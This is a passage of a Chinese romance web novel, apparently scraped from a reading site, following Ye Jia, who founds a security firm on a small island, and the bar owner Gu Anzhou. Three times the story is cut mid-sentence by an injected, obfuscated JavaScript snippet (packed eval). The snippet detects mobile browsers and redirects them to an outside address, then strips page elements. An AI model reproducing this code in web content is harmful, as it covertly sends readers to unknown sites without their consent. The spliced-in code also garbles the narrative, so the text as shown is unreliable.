“哦，谢谢啊。你……人还挺好的。”叶嘉说完，难得没回避视线，仰着头看着他的反应，对于这句话，真的好人和心里有鬼的人，反应应该是不一样的，但很可惜，她并没有从顾岸舟脸上看出什么反应。 叶嘉清清嗓子说：“但不用了，今晚本来就是来感谢你，照顾你生意的，没有又让你请我喝酒的道理。” “那下次庆祝。”顾岸舟说完，便没等她再说什么拒绝的话，转身要走。 叶嘉却一把拉住了他衣服：“等一下！” 顾岸舟站定，回过头看着她，身体下意识往左偏了下，但在还不被人察觉之际便被他拉了回来。 巷子里很昏暗，只有酒吧微弱的灯光照出来，顾岸舟看不清她的唇形。 往往这种情况下，他又想要听清楚别人说话的时候，都会侧一点身子，让人站在他偏右方，但叶嘉的声音他听来很清楚，正面对着她也可以。 而且，他莫名也不想做出这么异常的举动让她发现什么。 “什么事？” “你之前为什么要给我赔罪？”叶嘉松开手，问了出来，“我是说，那天是我不小心闯进你房间了，要赔罪也应该是我才对，虽然我真的是不小心的。” “我知道。”顾岸舟看着她的脸，“你是想来喝酒，只是在时间上失误了。但那之后你没有再来酒吧，那天你看起来也很慌，我想你应该是被我吓到了。” 呃，说对了，看来他也知道他有点可怕。 其实现在叶嘉心里也在打鼓，他们单独在这个昏暗的巷子里，体型差距带来的压迫感更强烈。 顾岸舟比韩岚川高出一点，但韩岚川的体格跟他完全不能比，如果他们有了肢体冲突，叶嘉肯定不能像对待韩岚川一样对他。 当然了，她不希望他们有什么肢体冲撞，也愿意相信不会发生，但说不定呢。 “是吗？” “没有。”叶嘉下意识否认完，又歪了下头说，“好吧，有一点。但我主要是觉得尴尬，真的很不好意思。” “没关系。”顾岸舟犹豫了一下要不要问她是不是看到了他的疤，又没想好用什么借口应对，便没开口，正好，叶嘉也没问。 叶嘉点点头：“我现在知道你怎么想的，就还好了，那就让这个尴尬的事情过去吧。好了，我没什么要说的了。” “好。”顾岸舟说，“但我也突然有个问题。” “什么？” “你还喜欢他吗？” 叶嘉愣住，接着失笑：“你觉得可能吗？为什么这么问？” “确认一下，以防万一。” “什么万一？” “不希望你再受到伤害。” 虽然灯光很暗，但顾岸舟明显看到叶嘉脸色变了变。说这个好像是有点奇怪，他现在只是个酒吧老板，没有身份和立场说这样的话。 - 叶嘉从前门重回酒吧时，顾岸舟已经继续在吧台后面工作了。 一直到入座，叶嘉的视线都在顾岸舟身上。 “谁啊？怎么打那么久电话？”楚念问。 “就刚才说的那个人。” 楚念眼珠子都快瞪出来了：“我去，那个死渣渣？他还敢给你打电话？” “嗯，我也佩服他的厚脸皮。”叶嘉说着又往吧台后面看了一眼，看他低头在忙，加大了点音量说，“我怎么会喜欢这种人，太后悔了。” 一旁梦姨加入进来说：“也没必要后悔什么的，赶紧忘掉吧。” “对！”楚念同意，“别陷入那种负面情绪里面，忘掉就是，下一个更好！” 叶嘉点点头。她完全没陷入什么负面情绪里，她只是有点在意顾岸舟的话。 他干嘛要说那种话？不希望她受伤害？ 他们好像……没那么熟吧？ 叶嘉喝着酒，有一搭没一搭跟楚念闲聊着，频频看向顾岸舟，发现他完全没看自己一眼。 离开酒吧前，她得出了结论。 顾岸舟就是一个内里和外表完全不符的纯好人，说不希望她受伤，无非是心善罢了。 坐上出租车后排，门一关，楚念就立刻说：“嘉嘉！你刚才表现得也太明显了吧！” “啊？”楚念反应有点大，叶嘉吓了一跳，“什么太明显了？” “你每说一句话都要看老板一次啊，你没发现吗？”楚念反应大，是高兴的，“看来你已经顺利转移感情了，太好了！你来聆风岛真的是来对了！” “嗯？”叶嘉一愣，“不是不是。” “欸——”楚念笑得眼睛眯起，挥了下手，让她别否认了。 这时前排司机发出声音吸引了她们注意：“嗨！念姐！” “噢？”楚念立马伸手拉住前排椅背往前一探，看到了司机的脸，“你怎么在开出租？！” 叶嘉也好奇看过去，谁啊，楚念在岛上还有熟人，但一看那人在夜晚还笑得阳光的脸，就大概猜到这就是楚念说的那个“可爱小男生”。 “是啦，我白天送货，晚上跑出租，有活就干嘛。” 楚念震惊：“你不休息啊？” “但我不累啊。”看他脸上的表情就知道，是真不累，跟海绵宝宝似的充满了对工作的热情。 “那你还有空教我骑车吗？” “包的姐！我明天上午就有空，我提前半个小时给你打电话。” “等等，上午？我上午起不来啊，我要睡到下午才醒。” “啊？”小男生都懵了一下，“怎么你们一个个都这样啊，舟哥也是，睡到下午才起。我第一次给他送货就是早上送去的，还被他凶了。” 舟哥？叶嘉想，应该说的是顾岸舟，而且应该就是上次她和楚念在海鲜店遇到顾岸舟的那次，难怪那天他去得比较早，原来是来了个新送货的。 也不知道小男生说的被凶，是真被凶了，还是只是被顾岸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333708|183365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舟的气场给吓到了，觉得他凶。 楚念满脑子都在纠结自己到底要不要早起练车，但这真的要她的命啊：“你下午就没有空吗？” “我下午一般都忙呢姐，但也有有空的时候，总之你是只有下午有空是吧？那我找到机会了，就提前半小时给你打电话！” 把两人送到了楼下，白钰继续开着出租拉客，岛上生意肯定没那么好，但还是有一些的，大都是游客。 过了十二点一般就没什么人了，因为岛上的娱乐活动也没了，白钰把出租车开回了公司，把钥匙扔回自己的格子里，结束了今天的工作。 他骑着自己的小电驴，一路吹着深夜的海风回了家，一把车停在楼下，就又走了几步路，去了附近的雾海灯塔。 店里只剩下两桌客人，看样子也是喝到尾声了。 白钰原本可以在门口等着酒吧最后几桌客人的，但这种喝醉了的还是交给别人拉吧。他“哟！”了一声，坐在了吧台前，脖子伸长了往里面桌子看：“哥我还要喝你喝的那个！” 顾岸舟瞥了他一眼：“上次的五百还没给我。” “……上次我那是没准备好，这次肯定不会吐了！” 顾岸舟没再回话，往柯林杯里装满冰块，倒入30毫升的拉弗格10年，剩下全部用姜汁汽水补满，搅拌后，放到了白钰面前。 白钰拿到酒，先问了句：“哥你不会真跟我要钱吧？” “你说呢？” 白钰还真不知道他是认真的还是开玩笑的：“这样吧哥，接下来一个星期，不，一个月！我每天下了班都来给你打扫卫生，行吧？” 白钰有自己的小心思。他大学辍学回老家，没想到岛上开了家酒吧，而老板正是他憧憬的那种硬汉，他想多跟老板待一块。 “不需要。”顾岸舟说，“喝完了早点回家。” 白钰失落地“哦”了声，但想着等会就先行动起来，让舟哥看到他的诚意，还有他的用处大大，总没有把免费劳动力赶走的道理。 喝着兑了姜汁汽水后，没那么强劲了的威士忌，白钰听到身后像是站不稳撞了桌子的动静，回头看了一眼，接着继续跟顾岸舟搭话：“舟哥今天也是散发魅力的一天，好多漂亮的客人。” 顾岸舟低着头在擦台面。 “我刚还载了你们店里的客人，是个看起来有点书呆子的姐姐，居然也对你有意思，说一句话就看你一次……哥！舟哥！”白钰大声了些，“你有没有在听我讲话？” 顾岸舟这才抬起头来：“你的话很重要吗？” “重要啊！” “哪里重要？” 白钰的眼珠子随着思考转动，转得停不下来，他思考不出答案，还真不知道哪里重要，他想了半天后，突然emo了：“哥，你说这个世界上，是不是所有事情都不重要？” “……”顾岸舟有时候觉得听不见反而很清净。 其实白钰的声音有点聒噪，顾岸舟从他进来后就一直有听到他在说话，但和音乐混杂在一起，就听不太清楚，他也并不想听清楚。 但很神奇，叶嘉的话他就听得很清楚。 哪怕他刚才从后厨扔了垃圾回来后，刻意完全没去看她，也听到她在说，她后悔喜欢那个男的。 8. 凶凶 说着要打扫酒吧的白钰，喝完一杯酒直接趴倒在了吧台。 顾岸舟收拾完几张桌子，把吧台也清理了一下，白钰还没醒。 至少是比上次在卫生间吐了半天好。 顾岸舟收了尾，把白钰叫了起来，睡得一脸迷茫的白钰都不知道自己在哪，就被架着一路送了出去。 上次也是顾岸舟送他回去的，知道他住哪，把他丢在了楼下，便回了店里。 换了身衣服穿上跑鞋，顾岸舟出去跑步。 他每天打烊之后，会判断自己状况，如果能马上睡着，就上楼洗澡睡觉，如果感觉不行，就去跑步，做做徒手自重训练，消耗掉剩下的体力。 再到那栋楼下的时候，白钰已经不在了，看样子是自己晃着上楼了。 顾岸舟简单活动了一下关节，以慢速开始跑起来。 深夜一点，岛上都已经没了什么灯光，仅有的路灯很昏暗，在外面的人几乎没有了，更别说还是跑步的。 顾岸舟很享受这种清净，刚来的时候运动起来还会莫名其妙恐慌，一年过去好多了，心率可以做到维持在130，刚好。 平稳地前行着，顾岸舟想起叶嘉在小巷里对着电话那头大喊的一声“滚”，还是觉得不可思议，她那么瘦，怎么能爆发出那么大的力量。 相比起来，他一直在往泥沼里陷，如果不是李局亲自把他拉去陆老师那里接受治疗，他恐怕直到现在都没有往上爬的力气。 叶嘉一回家就睡了，但因为喝了不少酒，半夜起来上了个厕所。 接着就睡不着了，她想到汪钧打来的电话，有些在意。 叶嘉坐在阳台上，看着外面黑漆漆的大海，夜晚的大海什么也看不见，其实有点恐怖，看着看着，不禁想，大海会不会吞没掉她身处的这个小岛？ 不过她还是相信，明早出去跑步时，能看到很美的日出。 楼下传来很有规律的脚步声，很轻，但因为夜晚很安静，叶嘉还是听得很清楚。 她往下一看，竟然看到顾岸舟。 他跑得很快，没一会就消失在了她的视野里。 叶嘉把身子探出去，还想再看看他的背影，但看不见了。 看样子那天觉得他跑出去找楚念，花了没三分钟，并不是错觉。而且看他跑步的姿势，是接受过什么训练吗？ 叶嘉从小就在山上跑，跑得挺快，而且不挑路况，大学时有跑步的社团，就参加了。 当然也是为了避免参加其它要花很多钱的社团，跑步对她来说，买一双百来块的跑鞋就够了，也不需要去聚餐什么的。 她只需要认真跑步，跟前辈学习技巧，在一次次跑步中练习。 叶嘉感觉自己跑步已经很专业了，但觉得顾岸舟跑得更不一般。 坐回椅子上，叶嘉继续看着大海，想着那通电话。 三天后，叶嘉做了决定，她要创业。 汪钧着实是提醒她了，她有技术，还不差，完全可以自己创业，至于资源人脉什么的，她也不奢望发展得多大，只要能养活自己就可以了。 现在给学生补习，虽然赚得也不算少，但毕竟用到的都只是一些基础知识，没有发挥她的专业性。 叶嘉跟楚念说了这个事。 “特别好啊！”楚念很激动，“支持你！虽然我不太懂，但你绝对能成功！” 叶嘉笑了笑，也鼓励自己：“绝对成功！” “对了，说到创业，你可以找顾老板讨教一下经验耶，他自己开店也是创业啊，你们聊聊，说不定能给你点什么启发。” “啊。”叶嘉有点不太懂，“但开酒吧跟我做网络安全，完全是两个方向吧。” “本质上不都是一个人从零开始搞钱吗！” 叶嘉歪头。 “心态上的交流总可以吧？创业毕竟压力很大的。” 好像也有点道理，而且说起来，顾岸舟不是聆风岛的人，为什么会来这里开一家酒吧？叶嘉还挺好奇的。 她说了句“知道了”，却暂时并没有这个打算。 好奇是真的，但好像正是因为好奇，让她有点抗拒主动找顾岸舟聊点什么。 “好了嘉嘉轮到你听我说了！”楚念也有想跟她说的事，“昨天下午那个小男生来教我骑车了，他真的好可爱，啊！我有点上头了怎么办！” 叶嘉哪知道怎么办，她想了一会说：“但是在岛上，你们万一有了什么关系，后面这关系又破裂了，会很麻烦的。” 她毕竟是经历过办公室关系的人。 这话还真把楚念给点醒了，她脸色一僵：“是哦……” 叶嘉比较好奇的是：“所以你学会骑车了没？” “嗯？”楚念缓了一会回过神来，苦恼道，“没有，我本来就不太擅长掌握平衡，我又一直分心去看他的脸，想办法问他的个人信息，都没认真学。” “……你没救了。” 叶嘉说着准备从楚念家里离开，但被楚念一把拉住。 “嘉嘉，还是你来教我骑车吧，你把我教会了，我不用的时候你可以随便骑我的车，反正我们的作息有很大一部分是错开的。” “我不需要车啊。”叶嘉喜欢跑步。 但看楚念一脸“求求了”的表情，叶嘉当然还是答应了。 于是接下来的几天的傍晚，海边公路上就多出了两人大喊大叫的声音。 一个在叫着“看前面！手放松！”，一个在叫着“啊啊啊啊——” 但总之，楚念很快学会了骑车，可以独自骑着去看日落、去酒吧喝酒了。 问题是喝完怎么回来。 聆风岛虽然小，但也不是法外之地，就算喝完出来一般也遇不到警察了，楚念也过不去心里这个坎。 直到有天她不小心喝得有点多，趴吧台上睡了一觉，起来发现白钰竟然在店里，正在求着顾岸舟卖酒给他。 “咦？念姐？”白钰才发现原来趴桌上的人是楚念。 楚念看了眼时间，已经过了十二点，平时这个点她差不多已经走了：“原来你下了班也要来喝酒啊。” “我是想喝酒，但老板不卖我！”跟小朋友告状似的。 顾岸舟倒了杯牛奶出来递到他面前：“请你喝，以后别来了。” 白钰嘴角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333709|183365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抽搐：“我已经20了！” “跟年龄没关系，你对酒精很敏感，喝一点就不舒服，没必要学着喝酒。”顾岸舟说完，便从吧台走出去，去收拾桌面。 楚念看了一圈店里，客人都走光了，她也该走了，但看白钰在这，她决定再待一会。 白钰看着牛奶杯，人有点麻，他是想跟着舟哥学做硬汉的，怎么在酒吧里喝起奶来了。 “正好。”楚念跟他说，“小白，你等会骑我的车送我回去好不好？我给你钱。” 白钰丧丧地看了她一眼：“可以啊，不用给钱，我送你就是了。姐你喝了多少？” “几杯吧。” “这么能喝？” 听出他的羡慕，楚念觉得还蛮好笑的，也更觉得他可爱：“还好吧，你不能喝就算了，挺好的。” “哪里好了。”白钰不满。 “你不能喝酒，才能有机会送漂亮姐姐回家啊。”楚念冲他笑着说完，才发觉自己喝醉了在说胡话，但说都说了，能怎么样。 白钰一怔，脖子被什么卡住了似的，缓缓转过头来看着楚念，她双颊泛着红，眼里带着笑意，他突然就感觉跟之前教她骑车的时候，不一样了。 白钰立刻转回了头，拿起杯子，一口喝下去大半杯的牛奶。 他皮肤很白，天生的，在海岛上长大，但怎么也晒不黑，只会被晒红，脱皮，此刻红起来就很明显。 楚念心里“噢哟”一声，看来他还真觉得她很漂亮呢。 有戏。 但楚念突然想到叶嘉跟她说，在这么个小岛上，如果有了什么关系，这关系又破裂了，那问题可大了。 楚念挺喜欢聆风岛的，为了这么个小男生，万一毁了她日后在聆风岛上的生活，似乎又不值得了。 顾岸舟收拾完吧台以外的桌面，回到吧台，等待最后两位客人离开。 虽然他什么也没说，但楚念感受到一股压力，便问白钰：“你还要喝什么吗？我请你。” 白钰感觉他们都把自己当小孩一样的，有点不爽，剩下的牛奶也不喝了，站了起来：“不喝了，走吧，我送你。” 让他说得很有气魄。 不知道的还以为他要开什么跑车送人回家。 但只是楚念的电瓶车。 一路上楚念心情有点复杂，恼人的酒精在大脑里作用着，被她抱着腰的小男生身上干净的洗衣液的味道，很是上头，但叶嘉的话又一直在她耳边萦绕。 白钰也没好到哪去，他本来想着只是帮念姐一个忙，但刚才在酒吧突然感觉她那里不一样。 此刻她的小手还缠在他腰间，他还感觉到身后的什么在有意无意往他背上靠。 好怪，搞得他骑车都差点不能走直线了。 快到目的地的时候，前方两根悬在黑暗中的荧光条突然出现，给骑得心不在焉的白钰吓得一抖。 还以为见鬼了。 楚念也吓得不轻，搂着白钰的手都收紧了些。 接着靠近之后，车灯照亮了那边，居然是穿着跑步服的叶嘉。 “你大半夜的不睡觉怎么下来跑步了！” 9. 呆呆 叶嘉看到两人惊恐得如出一辙的脸，停下了热身运动：“我睡不着，就出来活动一下。” “恐怖如斯。”楚念下了车，有点没站稳，身形晃了一下，被一只手扶住。 叶嘉看了眼白钰也伸出来只是慢了一拍的手，拉着楚念的胳膊问：“你喝多了吗？” “笑话！”楚念不会承认，她看向白钰，懵了一下，“诶？那你又要怎么回去？你骑我的车回吧。话说你看起来跟我的车更配，都很可爱。” 白钰本来想说他当然得骑她车回去，不然让他跑回去啊，但听了后面半句，就骑着车往车棚下一停，从粉色的小车车上下来了。 可恶！可爱什么可爱，不爱听，他想成为舟哥那样的！ 白钰把钥匙抛了过来，看楚念接住了，就一言不发，双手插兜走了，留下一个酷酷的背影。 楚念看着他背影感觉莫名其妙的，但也没管，跟叶嘉说：“嘉我上去了，你小心点啊。” “好，你赶紧睡吧。” 叶嘉又热了会身，跑了起来，超过白钰的时候，跟他打了个招呼。 白钰真是搞不懂，怎么会有人跑步，还是大半夜，他最讨厌跑步了，累倒是还好，他干体力活，并不差，关键是太无聊了。 不过这个书呆子姐姐会跑步，让他还挺意外的，念姐说她是北大的，他还以为北大的学生每天就只是埋头看书学习呢。 叶嘉很快就把他甩在了身后，前后都看不见一个人影，独享这座深夜的海岛。 她很少晚上跑步，都是晨跑，尤其是伴着日出晨跑，会让她感觉接下来的一整天都很有希望。 但早上一路都会遇到人，她跟人说“早”，会打断思绪。 晚上似乎更适合深度思考。 一路跑到雾海灯塔时，看到里面已经关灯了，叶嘉继续跑，不知道今晚顾岸舟跑不跑步。 思绪偏走一瞬，被她拉了回来，继续专注在呼吸上，她只管控制跑步的节奏，无数行代码就自然在她大脑里跑出来。 她太认真，没有注意到身后有脚步声在靠近。 直到那人开了口，她才被吓得往旁边一缩，还惊叫了声。 “第一次碰到你跑步。”顾岸舟说。 叶嘉回：“因为我第一次晚上跑。” “这样。” 叶嘉突然就怀疑自己出来跑步的目的了，她睡不着是真的，但在家待着打开电脑看会代码也好啊。 她真的不是想偶遇顾岸舟吗？她往左边看了一眼，他呼吸平稳，脸很紧致，动起来比平时看着更帅。 叶嘉看顾岸舟保持了跟自己一样的节奏，说：“你按你的配速跑吧。” “没事，一起跑。” 顾岸舟说完，感觉有点奇怪，就又加了一句：“一个人有点害怕。” “啊？”叶嘉愣了下，“我不害怕啊。” “……我说我。” 叶嘉更愣了，接着笑出声：“你害怕？你害怕还晚上跑。” 顾岸舟并不害怕，只是那么一说，但配合着说了下去：“嗯，晚上才有时间。” “哦，但喝了酒跑步不会难受吗？” 顾岸舟没说话，只是把左手伸了过去，让她看手表上他的心率。 叶嘉见状，便往他身边靠近了些，看到了他心率才110几。她没有买运动手表，但蹭前辈的用过几次，对自己的身体状况有个把握，她现在差不多135的样子。 “好吧这个速度对你来说不算什么，你跑得很专业。”叶嘉说完，就看顾岸舟拉远了他们之间的距离，她飞快瞟了他一眼。 顾岸舟则是又看了一眼手表，心率突然就上升到140了。 他被她靠过来的脑袋吓了一跳。 良久的沉默，只有海风和两人的呼吸声。 叶嘉感觉他的节奏越发不稳，开口道：“还是我影响到你正常跑了吧？你先跑吧。” “哦。”顾岸舟这次没再说什么，加快速度跑走了。 叶嘉对这人的印象，从他很凶，到也许他是个好人，到他只是看起来凶，到现在感觉他好像呆。 但他跑走后，叶嘉也松了一口气，跑到大汗淋漓，回了家。 第二天早上叶嘉还是六点起床，不过没有跑步，打开电脑工作到八点。 她出了门，坐船去主岛，去工商管理局注册公司。 在船上的这一个小时，叶嘉思考要给公司取个什么名字，想了半天，既然她是在聆风岛上开始有的这个想法，就叫“聆风安全”挺好，不知道有没有被注册过，她一定第一个就试这个名字。 非常幸运，没有被注册。 其它资料她都提前准备好了，一切流程都很顺利。 拿到了受理单，叶嘉又在主岛上逛了逛，简单吃了个饭，乘坐15:15抵达的船次回家。 她熟悉了海上的颠簸，也熟悉了聆风岛上的布局，便趴在船边，看着顾岸舟酒吧的方向。 那酒吧上面还有一楼，顾岸舟好像就在楼上住。 叶嘉并没有因为常年用功读书近视，反而视力非常好，大概和她小时候总是眺望远山有关，她能看到很远的地方。 此刻她感觉她看到了顾岸舟在二楼的平台上。 船离得越近，叶嘉越确信那就是他，他怀里还有一团白色的东西，毛乎乎的，像是小猫。 嘴角不自觉扬了起来，那阳台种满了绿植，一身黑衣的帅哥抱着小白猫，很好的风景。 叶嘉下了船，遇到了准备登船的春姐。 “春姐要去做什么？”叶嘉问。 “我去逛街，想买条漂亮裙子。”春姐脸上荡漾着喜悦，说着还晃了晃身上的裙摆。 叶嘉不禁笑起来。 春姐也问她：“小叶是去干嘛啦？” “去办了点工作上的事。” 春姐忙问叶嘉做什么工作，听她大概说了一下之后夸她：“真优秀啊你！我就知道，你看起来就很聪明！啊，所以今天早上没看见你晨跑，就是因为要忙这个？” “哦那倒不是，今天没跑是我昨晚跑了。” “哎哟，你怎么改晚上跑了？晚上挺吓人的，你还是早上跑吧。” “偶尔一次而已，也不吓人，我都没看到什么人，只遇到了顾老板，他也在跑步。” 春姐闻言脸色一变：“小叶啊……” 她正要说什么，却听要坐的船鸣了一声，拉着叶嘉慌忙说了句：“小叶你还是别跟小顾走得太近了。”说完就拍拍她的手，上船了。 叶嘉站在原地怔了片刻。 她看着船只驶离了岸边，缓缓往回走。 春姐这话什么意思？之前她不是还推荐她去顾岸舟的酒吧喝酒看帅哥吗？怎么突然又这么说？ 不知道春姐知道些什么，叶嘉一路都很在意，可想到那个抱着猫的身影，又觉得不会吧。 她是走回家的，路上遇到了在送货的白钰。 “姐！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333710|183365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”白钰停下三轮车来跟她打招呼，“这是念姐的快递，你帮忙给带过去行不？是个小件，不重。” “好啊。”叶嘉接了过来。 “太感谢了！”白钰又骑着三轮车走了。虽说让嘉嘉姐帮他带，是能让他省点时间，但不多，他主要是不想见着楚念，她把他当个小孩一样撩，但他好像有点怪了，昨晚还做了个关于她的梦，早上醒来没给他吓死。 楚念顶着一头乱发给叶嘉开了门，但这时她已经又午睡了一次起来，精神焕发。 她邀请叶嘉进来，拆开快递，拿出了里面的东西。 叶嘉正喝着水，差点一口喷楚念沙发上：“这什么东西！” “□□啊。”楚念说着还打开了开关，东西立刻在她手里疯狂震动起来，检查完是好的，她就关上，放一边充电，随即看到叶嘉目瞪狗呆的样子，“你咋了？” “……我只是万万没想到你竟然当着我面就打开了。” “这有什么的？” “也是。” 虽然但是，叶嘉属于是看过猪跑但没吃过猪肉的，她看着那块长得跟生姜一样的东西，脸色还是有点微妙，她就这么拿着走了一路，虽说也没人知道里面是什么吧。 楚念哀怨：“还不是你说的，这岛上大家都认识，可不准我玩什么花的。” 叶嘉又想起春姐的话，是啊岛上大家都认识，所以春姐是知道顾岸舟什么不为人知的秘密。 “所以你对小白就是……想那个他吗？” “你好含蓄哦。”楚念说，“对啊，我想那个他。毕竟他长得太是我的菜了。” 叶嘉再次被震撼到了。 “你呢？你是吃顾老板那种类型的吧？” “啊？”叶嘉堂皇了一瞬。 仅这一瞬就被楚念抓住了：“果然！好好好……”她立刻掏出了平板来，在上面画了两笔。 很快两个轮廓出来，一高一低，一壮一瘦，没画脸也能看出来是谁，身形特征被她抓得特别好。 “我走了。”叶嘉感觉画上两个人要往奇怪的方向走了，就没看下去，回了自己房间，继续她工作的准备。 过了几天，叶嘉收到了短信通知，她的材料审批通过了，让她去领取营业执照。 叶嘉有点激动，第二天一早就坐最早的一班船去了主岛，拿到了营业执照，又去银行开了户，去税务局登了记。 她现在竟然是开公司的人了，小时候的她绝对不会想到会有这么一天。 叶嘉找了一家价格不便宜的餐厅，犒劳自己，庆祝这个成功的开始。 一进去，就看见顾岸舟和一个穿着挺阔衬衫、稍有发福的中年男人从包厢里走了出来，手上提着一个纸袋子。 叶嘉正犹豫着要不要跟他打招呼，就听他先开口了。 顾岸舟：“这家的茴香烤五花好吃。”说完便要走。 一旁的中年男人却顿住脚步，对着叶嘉审视了一番，但整个过程不到半秒，除了顾岸舟没人察觉。接着他对人露出一个释放善意的笑容，问顾岸舟：“这位是？” “岛上的客人。”顾岸舟说着，轻微皱起眉头看着男人，似乎不想他再继续说什么。 中年男人看了他一眼，对叶嘉笑得更深：“这样，谢谢你平日里照顾我家臭小子的生意了啊。” 叶嘉摇摇头，目送两人离开的背影。 这个男人像是警察。 叶嘉想，她有遇到过跟他感觉很类似的人。 10. 凶凶 还是级别很高的警察。 叶嘉想起的，是小时候村里发生过一次恶性事件，有人被杀了，她是目击者。 那个带着亲切笑容，蹲在自己面前，说着“小妹妹，不用怕，告诉叔叔你看到了什么就好”的男人，听说是局长，就跟刚才那人的气质很像。 叶嘉坐在窗边的位置，从窗外看着楼下，看到了两人的身影，顾岸舟为什么会跟这样的人在一起。 他叫顾岸舟臭小子，关系应该是挺亲密的，是亲戚吗？还是就是他爸啊？ 可看顾岸舟的反应和态度，又觉得不像。 叶嘉发现自己对顾岸舟简直好奇得过分了。 菜上来了，叶嘉吃着这盘茴香烤肉，思绪却飘回了老家。那里弥漫着的空气和海岛上、也和其它地方都完全不同，是一种特有的、各种香料和草木交织的浓郁气息。 突然就好馋。尤其是这段时间吃多了海鲜，一被勾起馋虫，就更馋了。 叶嘉简直想马上就吃到。 可惜她这两次在主岛逛了逛都没有看到她的家乡菜，叶嘉打算等下去大型商超看看，有没有能买到可以回去自己做的。 依然很可惜。 叶嘉败兴而归，想着等回去了在网上买一点，多买一点，还可以分享给楚念。 踩着楼梯，叶嘉上了游船的二楼，第一个看到的人就是顾岸舟，尽管只是一个背影。 还以为他早就回去了，看来和那个男人吃完饭后，他们又去了别的地方。 顾岸舟回头，看到了叶嘉。 她正看着自己，像是没想到他会转头，脸上闪过一丝惊讶，接着就走过来跟他打了招呼。 “你推荐的菜很好吃。” 叶嘉说着，看了看他身边的纸袋，两边都是空位，但她也没坐下来。 顾岸舟点头：“我感觉你会喜欢。” “为什么？” “看你喝酒的口味推测的，你喜欢喝一些风味比较强的酒。” 叶嘉犹豫片刻，还是隔着纸袋，坐在了他旁边：“我家乡菜就是风味比较强，所以我喜欢这样的。” 顾岸舟转过头，几乎快要正脸对着叶嘉。他上船后，把东西放左侧，就是想着如果叶嘉上来，应该会坐他右边。 失策了。 虽然不知道为什么要策。 顾岸舟问：“你是哪里人？” 叶嘉抿了下嘴唇，有点紧张：“你觉得呢？” 其实顾岸舟早就从她的口音锁定了她的家乡，应该是黔州，而且是黔东南地区。但他不想惹她怀疑，刚才李局的表现在他看来都有点突兀了，而她的口音不重，还混了点北方音调，一般人听不出来。 “不知道，但肯定是南方人。” 叶嘉放松地笑了笑：“对，我是黔州人，你听我口音应该听得出来吧？” “是吗，你没什么口音。” “真的？”叶嘉有点不敢相信，她现在还偶尔会陷入大学时被人学口音的尴尬回忆中，顾岸舟居然说她没什么口音。 “真的。” 但的确从叶嘉大三开始，就没人拿她的口音说事了，工作后更是，看来她一直刻意练习是有用的。 现在想来其实有没有口音，一点都不重要，可她刚到北城这样的大城市，就很难不在意。 顾岸舟问：“所以你吃木姜子？” 叶嘉回过神，眼睛一亮：“当然！” “正好，我上次进了一瓶木姜子油，用来调酒的，但除了我没人喝，就没放在菜单上，你要尝尝吗？” “要啊要啊！”叶嘉激动死了！她刚还在想家乡的味道呢！ 顾岸舟感觉自己左耳都听到她的声音了，突然低头笑了一下。 叶嘉一愣：“怎么了？” “没怎么。”顾岸舟收起笑，也偏过了脸，没再看她，随即又感觉到她在说什么，连忙转过头看她。 错过了几个字。 “……但肯定很好喝，我老家有用木姜子泡酒的，说是喝了可以止咳。” “止咳？” “对！” “但咳嗽的时候不是不该喝酒？” 叶嘉笑：“是啊！” 船开了，引擎声音有些吵，他们没再聊天。 伴随着抖动，纸袋晃动一下，顾岸舟伸手摁住，看向大海。 叶嘉好奇瞄了一眼纸袋里面，上面是一本书，《追逐阳光之岛》，但很明显下面的就都不是书了，这书像是只用来挡住下面东西的。 不过叶嘉还是对这本书有点好奇，对她来说聆风岛就像是阳光之岛一样。 抬起眼时，叶嘉注意到有人望着这边，是那个大姨。 她坐在他们右前方的位置，正以一种有点别扭的坐姿，面朝着他们。 叶嘉知道她是在看顾岸舟，海景没什么稀奇的，这种偶遇才难得。 下船时，大姨跟顾岸舟挥了挥手：“我晚上去喝酒啊！” 顾岸舟点了下头：“欢迎。” 是有点冷淡。 叶嘉跟在他们后面下了船，上了公路，顾岸舟站定在一辆电动车旁，一边把纸袋挂在车把上，一边问她：“我送你？” 叶嘉有点意外的看着这辆浅蓝色加棕色的小车，着实很难想象顾岸舟骑这样的车，还以为他要骑也是骑重型机车呢。 “不用了，我走回去。” “好，那再见，记得来喝木姜子调酒。”顾岸舟说完，便骑上车走了。 虽然难以想象，但看他骑上去，还觉得蛮可爱的。 叶嘉被这冒出来的想法给惊到了，她刚开始还觉得顾岸舟要把她做成下酒菜呢，现在她就觉得他可爱了？ 不不不，可爱的是车，不是他。 她又要怪楚念了，老是说小白可爱可爱可爱…… - 叶嘉当天晚上就找楚念一起去了雾海灯塔，去喝木姜子调酒。 